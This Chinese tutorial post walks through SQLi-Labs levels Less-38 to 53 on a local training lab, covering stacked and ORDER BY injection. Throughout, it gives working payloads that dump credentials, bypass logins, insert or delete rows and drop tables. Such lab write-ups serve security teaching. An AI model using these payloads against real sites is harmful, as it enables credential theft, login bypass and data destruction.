SQLi-Labs靶场从零搭建到通关全攻略(五):堆叠注入与ORDER BY注入
摘要:在前四篇文章中,我们已经掌握了SQL注入的绝大部分核心技术——从GET到POST、从显注到盲注、从基础注入到过滤绕过。但从Less-38开始,我们将接触两种全新的注入方式:堆叠注入(Stacked Injection)和ORDER BY注入。
堆叠注入打破了“一次只能执行一条SQL语句”的限制,允许我们通过分号;拼接多条语句,实现增删改查甚至创建表、删除数据等操作。而ORDER BY注入则是在排序子句中注入,由于ORDER BY后面不能使用UNION联合查询,我们需要用全新的思路来应对。
本文作为系列攻略的第五篇,将系统讲解堆叠注入的原理与实战(Less-38~45),以及ORDER BY注入的四种方法(Less-46~53)。这是从“数据查询”到“数据操控”的关键跨越,也是实际渗透测试中极具实战价值的高级技能。
一、堆叠注入:突破单语句的限制
1.1 什么是堆叠注入?
在MySQL中,每条SQL语句以分号;结尾。堆叠注入(Stacked Injection)就是利用这个特性,在第一条SQL语句结束后,用分号拼接第二条、第三条……多条SQL语句一起执行。
打个比方:普通注入就像你只能给数据库“打一个电话”,说完就挂。堆叠注入就像你可以“连续拨打多个电话”——第一个电话查数据,第二个电话删表,第三个电话建账号,一气呵成。
核心条件:数据库驱动必须支持多语句执行。在PHP中,mysqli_multi_query()函数支持多语句执行,而mysql_query()默认不支持。
1.2 堆叠注入 vs UNION注入
| 对比项 | UNION注入 | 堆叠注入 |
|---|---|---|
| 语句数量 | 多条SELECT合并为一条结果 | 多条独立SQL语句依次执行 |
| 语句类型 | 只能是SELECT | 可以是任意SQL(INSERT、UPDATE、DELETE、CREATE等) |
| 分号使用 | 不需要 | 必须用;分隔 |
| 攻击能力 | 只能查数据 | 可以增删改查、创建表、删库 |
1.3 常见堆叠注入语句
-- 插入新用户 INSERT INTO users (id,username,password) VALUES ('38','hacked','hacked'); -- 更新数据 UPDATE users SET password='newpass' WHERE username='admin'; -- 删除数据 DELETE FROM users WHERE id=38; -- 创建表 CREATE TABLE test LIKE users; -- 删除表 DROP TABLE test;二、Less-38:GET型单引号堆叠注入
2.1 关卡信息
关卡名称:Less-38 - GET - Stacked Query - Single quotes - String
漏洞类型:GET型单引号字符型堆叠注入
核心考点:在单引号闭合的GET参数中执行多条SQL语句
2.2 第一步:判断闭合方式
访问:
?id=1'页面报错,确认是单引号闭合的字符型注入。
2.3 第二步:获取列数(字段数)
?id=0' order by 3 --+ //正常 ?id=0' order by 4 --+ //报错,所以是3列2.4 第三步:获取回显位
?id=0' union select 1,2,3 --+ //2和3可以回显2.5 第四步:获取数据库名
?id=0' union select 1,database(),3 --+2.6 第五步:获取所有表名
?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+2.7 第六步:获取用户表所有字段名
?id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+2.8 第七步:获取用户表所有数据
?id=0' union select 1,2,(select group_concat(id,'~',username,'~',password,'\n') from users) --+2.9 第八步:堆叠注入——插入新用户
?id=0';insert into users (id,username,password) values ('38','hacked','hacked'); --+2.10 第九步:验证插入结果
访问:
?id=38页面显示新插入的用户信息,说明堆叠注入成功!
2.11 其他堆叠操作示例
创建表:
?id=0';create table test like users; --+删除数据:
?id=0';delete from users where id=38; --+三、Less-39:GET型数字型堆叠注入
3.1 关卡信息
漏洞类型:GET型数字型堆叠注入
与Less-38的区别:不需要引号闭合
3.2 通关步骤
第一步:测试闭合方式
?id=1 and 1=1 --+ # 正常 ?id=1 and 1=2 --+ # 无显示确认是数字型注入。
第二步:堆叠注入插入用户
?id=0;insert into users (id,username,password) values ('39','ysyx','ysyx'); --+第三步:验证
?id=39四、Less-40:GET型单引号+括号盲注堆叠
4.1 关卡信息
漏洞类型:GET型单引号+括号闭合的堆叠注入
核心特点:无报错回显,是盲注
4.2 通关步骤
// 判断注入点与闭合方式 ?id=1 and 1=2 //页面正常显示 → 不是数字型 ?id=1' //页面无回显 ?id=1')--+ //页面正常回显 → 确认闭合方式为 ')(单引号 + 括号) // 获取字段数 ?id=1') order by 3 --+ //页面正常 ?id=1') order by 4 --+ //页面无显示 → 字段数为 3 // 获取回显位 ?id=0') union select 1,2,3 --+ // 获取数据库名 ?id=0') union select 1,database(),3 --+ // 获取表名 ?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ // 获取字段名 ?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+ // 获取数据 ?id=0') union select 1,2,group_concat(username,password) from users --+ // 堆叠注入:插入新用户 ?id=1'); insert into users(id,username,password) values ('40','less40','ysyx') --+ // 验证 ?id=40五、Less-41:GET型数字型堆叠注入
5.1 关卡信息
漏洞类型:GET型数字型堆叠注入
与Less-39相同:只是关卡编号不同
5.2 通关步骤
?id=0;insert into users (id,username,password) values ('41','less41','41414141'); --+ // 验证 ?id=41六、Less-42:POST型密码框堆叠注入
6.1 关卡信息
漏洞类型:POST型密码框堆叠注入
核心特点:注入点在密码框,用户名被过滤了
6.2 通关步骤
第一步:观察页面
这是一个登录页面,有用户名和密码两个输入框。
第二步:测试注入点
在密码框输入:
1'页面报错,确认注入点在密码框,且是单引号闭合。
第三步:堆叠注入
Burp Suite抓包修改POST数据
login_user=admin&login_password=1';insert into users (id,username,password) values ('42','ysyx42','less42'); --+&mysubmit=Login第四步:验证
用新创建的账号ysyx42/less42登录,成功!
七、Less-43:POST型单引号+括号堆叠注入
7.1 关卡信息
漏洞类型:POST型单引号+括号闭合的堆叠注入
与Less-42的区别:闭合方式从
'变成了')
7.2 通关步骤
login_user=admin&login_password=1');insert into users (id,username,password) values ('43','my43','ysyx'); --+&mysubmit=Login八、Less-44:POST型盲注堆叠注入
8.1 关卡信息
漏洞类型:POST型盲注堆叠注入
核心特点:无报错回显,需要用盲注或堆叠,通过登录成功/失败来判断
核心漏洞:
mysqli_multi_query()支持堆叠注入
8.2 通关步骤
第一步:判断注入点与闭合方式
在用户名随意输入(如admin),密码输入:a' OR 1=1#
用户名admin,密码a' OR 1=2#→ 登录失败,确认注入成立
第二步:布尔盲注获取数据
判断数据库名长度
a' OR (length(database())=8)# // 登录成功 → 数据库名长度为 8获取数据库名(逐字符)
a' OR (ascii(substr(database(),1,1))=115)# // 通过登录成功还是失败进行判断,最后得出数据库名为security获取表名
a' OR (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100)#获取字段名
a' OR (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100)#获取数据
a' OR (ascii(substr((select concat(username,password) from users limit 0,1),1,1))>100)#第三步:堆叠注入
万能登录绕过
用户名:admin 密码:a' OR 1=1#创建新用户
用户名:admin 密码:a'; insert into users(id,username,password) values('44','less44','ysyx')#通过新创建的用户密码登录
九、Less-45:POST型单引号+括号盲注堆叠
9.1 关卡信息
漏洞类型:POST型单引号+括号闭合的盲注堆叠
与Less-44的区别:闭合方式为
')
9.2 通关步骤
第一步:判断注入点与闭合方式
在用户名随意输入(如admin),密码输入:1') or 1=('1
用户名admin,密码 1') or 1=('2 → 登录失败,确认注入成立
第二步:布尔盲注获取数据
判断数据库名长度
1') or (length(database())=8)# // 登录成功 → 数据库名长度为 8获取数据库名(逐字符)
1') or (ascii(substr(database(),1,1))=115)# // 通过登录成功还是失败进行判断,最后得出数据库名为security获取表名
1') or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100)#获取字段名
1') or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100)#获取数据
1') or (ascii(substr((select concat(username,password) from users limit 0,1),1,1))>100)#第三步:堆叠注入
万能登录绕过
用户名:admin 密码:1') or 1=('1创建新用户
用户名:admin 密码:1'); insert into users(id,username,password) values('45','less45','ysyx')#通过新创建的用户密码登录
十、ORDER BY注入:全新的挑战(Less-46~53)
10.1 什么是ORDER BY注入?
从Less-46开始,注入点不再是WHERE子句,而是ORDER BY子句。
URL参数变成了sort:
http://localhost/sqli-labs/Less-46/?sort=1后端的SQL语句大致是:
SELECT * FROM users ORDER BY $sort10.2 为什么ORDER BY注入不同?
核心区别:ORDER BY后面不能使用UNION联合查询。
打个比方:之前的注入就像在“筛选条件”里做文章(WHERE),而现在是在“排序规则”里做文章(ORDER BY)——你只能影响数据怎么排,不能直接让数据“显示”出来。
10.3 ORDER BY注入的四种方法
| 方法 | 适用场景 | 核心原理 |
|---|---|---|
| 报错注入 | 有错误回显 | 在ORDER BY后构造报错语句 |
| 布尔盲注 | 排序结果有差异 | 通过排序变化判断真假 |
| 时间盲注 | 无任何回显差异 | 用sleep()延时判断 |
| 文件导出 | 有写入权限 | 用INTO OUTFILE写文件 |
十一、Less-46:数字型ORDER BY报错注入
11.1 关卡信息
关卡名称:Less-46 - GET - Error Based - Numeric - ORDER BY CLAUSE
漏洞类型:数字型ORDER BY报错注入
核心特点:参数名从
id变成了sort
11.2 第一步:判断注入点
访问:
http://localhost/sqli-labs/Less-46/?sort=1页面按第1列排序显示表格。
尝试:
http://localhost/sqli-labs/Less-46/?sort=1 desc页面按第1列降序排列。
http://localhost/sqli-labs/Less-46/?sort=2 asc页面按第2列升序排列。
说明sort参数是可控的注入点。
11.3 第二步:报错注入获取数据库名
方法一:用extractvalue()
?sort=(extractvalue(1,concat(0x7e,database(),0x7e)))方法二:用updatexml()
?sort=(updatexml(1,concat(0x7e,database()),1))11.4 第三步:获取表名
?sort=(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))11.5 第四步:获取表字段
?sort=(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e)))11.6 第五步:获取数据
?sort=(extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e)))十二、Less-47:单引号字符串ORDER BY报错注入
12.1 关卡信息
漏洞类型:单引号字符串型ORDER BY报错注入
与Less-46的区别:闭合方式是单引号
12.2 通关步骤
第一步:判断闭合方式
?sort=1'报错,确认是单引号闭合。
第二步:报错注入
获取数据库名
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+获取表名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+获取字段名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) --+获取数据
?sort=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e),1) --+十三、Less-48:数字型ORDER BY布尔盲注
13.1 关卡信息
漏洞类型:数字型ORDER BY布尔盲注
核心特点:无报错回显
13.2 第一步:判断注入类型
用数学运算测试:
?sort=1 ?sort=2-1两个请求返回相同的排序结果,说明2-1被当成数值1执行了。确认是数字型注入。
13.3 第二步:判断注入点
?sort=1 and 1=1 //页面正常排序 ?sort=1 and 1=2 //页面无变化 → 条件判断不生效,说明 and 在 ORDER BY 子句中无法直接使用13.4 第三步:时间盲注
判断数据库名长度:当条件为真时立即响应,为假时延迟 5 秒
?sort=if(length(database())=8, 1, sleep(5)) // 立即响应 → 数据库名长度为 8获取数据库名(逐字符)
?sort=if(ascii(substr(database(),1,1))=115, 1, sleep(5))获取表名
?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101, 1, sleep(5))获取字段名
?sort=if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105, 1, sleep(5))获取用户表数据
?sort=if(ascii(substr((select concat_ws(':', username, password) from users limit 0,1),1,1))>100, 1, sleep(5)) // 如何不好用,用以下这个 ?sort=if(ascii(substr((select username from users limit 0,1),1,1))>100, 1, benchmark(20000000, md5(1)))13.5 第四步:布尔盲注
判断数据库名长度
?sort=if(length(database())>8, id, username) // 按 id 排序 → 条件为真获取数据库名
?sort=if(ascii(substr(database(),1,1))=115, id, username)获取表名
?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100, id, username)获取数据
?sort=if(ascii(substr((select concat(username,password) from users limit 0,1),1,1))>100, id, username)十四、Less-49:单引号字符串ORDER BY布尔盲注
14.1 关卡信息
漏洞类型:单引号字符串型ORDER BY布尔盲注
核心特点:无报错回显,单引号字符型
14.2 通关步骤
第一步:判断闭合方式
?sort=1 //页面正常返回排序后的数据 ?sort=1' //页面返回空(无报错信息)→ 说明闭合方式为单引号 '第二步:布尔盲注
?sort=1', if(条件, username, id), '1条件为真:按username字段排序;条件为假:按id字段排序。
14.3 获取数据
判断数据库名长度
?sort=1', if(length(database())>7, username, id), '1 // 长度是否大于7,首行为admin为真,为Dumb为假 ?sort=1', if(length(database())>8, username, id), '1 // 长度是否大于8,首行为admin为真,为Dumb为假,结论为8逐个获取数据库名字符
?sort=1', if(ascii(substr(database(),1,1))>114, username, id), '1获取核心表名(users)
// 先判断长度为5 ?sort=1', if((select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5, username, id), '1 // 然后逐个获取字符 ?sort=1', if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116, username, id), '1获取字段名(username 和 password)
?sort=1', if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 1,1),1,1))>116, username, id), '1获取最终数据(账号密码)
?sort=1', if(ascii(substr((select username from users limit 0,1),1,1))>67, username, id), '1十五、Less-50:数字型ORDER BY堆叠注入
15.1 关卡信息
漏洞类型:数字型ORDER BY堆叠注入
核心特点:虽然是ORDER BY场景,但支持堆叠注入
15.2 通关步骤
第一步:判断注入类型
输入?sort=rand()多次刷新页面:每次刷新排序结果发生变化→ 说明rand()被成功执行 →数字型注入
第二步:使用报错注入获取数据库名
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+第三步:使用报错注入获取所有表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+第四步:使用报错注入获取users表的字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+第五步:使用报错注入获取数据
?sort=1 and updatexml(1, concat(0x7e, (select concat(username,0x3a,password) from users limit 0,1), 0x7e), 1)--+第六步:堆叠注入插入数据
?sort=1;insert into users values(50,'ysyx50','ysyx');--+验证:
http://localhost/sqli-labs/Less-50/?sort=1 desc十六、Less-51:单引号ORDER BY堆叠注入
16.1 关卡信息
漏洞类型:单引号字符串型ORDER BY堆叠注入
与Less-50的区别:闭合方式是单引号
16.2 通关步骤
?sort=1';insert into users (id,username,password) values ('51','ysyx51','51515151'); --+ // 验证是否有增加的那条数据 http://localhost/sqli-labs/Less-51/?sort=1十七、Less-52:数字型ORDER BY盲注堆叠
17.1 关卡信息
漏洞类型:数字型ORDER BY盲注堆叠
核心特点:无报错回显,但支持堆叠
17.2 通关步骤
第一步:验证注入类型为数字型
?sort=rand() // 每次刷新排序结果都不同第二步:布尔盲注
?sort=rand(length(database())=8) // 条件为真:rand(1) 返回固定序列,页面按特定顺序排列 // 条件为假:rand(0) 返回不同序列,页面排序变化第三步:堆叠注入
?sort=1;insert into users(id,username,password) values('52','ysyx52','5252') --+ // 验证 http://localhost/sqli-labs/Less-52/?sort=1 desc十八、Less-53:单引号ORDER BY盲注堆叠
18.1 关卡信息
漏洞类型:单引号字符串型ORDER BY盲注堆叠
与Less-52的区别:闭合方式是单引号
18.2 通关步骤
?sort=1';insert into users (id,username,password) values ('53','ysyx53','123453'); --+总结
掌握了堆叠注入的核心原理(Less-38~45):利用分号;拼接多条SQL语句,突破了单语句的限制,实现了插入、更新、删除、创建表等操作
通关了8关堆叠注入关卡:从GET到POST、从有报错到盲注、从单引号到数字型、从普通闭合到括号闭合,覆盖了堆叠注入的各种场景
理解了ORDER BY注入的特殊性(Less-46~53):ORDER BY子句不能使用UNION联合查询,需要换一套打法
掌握了ORDER BY注入的四种方法:报错注入(Less-46/47)、布尔盲注(Less-48)、时间盲注(Less-49)、堆叠注入(Less-50~53)
通关了全部8关ORDER BY注入关卡:从数字型到字符串型、从有报错到盲注,完整覆盖了ORDER BY注入的各种场景
从Less-38到Less-53,我们完成了从“数据查询”到“数据操控”的跨越。堆叠注入让我们可以修改数据、创建表、删除记录,而ORDER BY注入则让我们掌握了排序场景下的注入技巧。这两项技能在实际渗透测试中极具价值——前者让你获得更大的控制权,后者让你在更多场景下找到突破口。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。
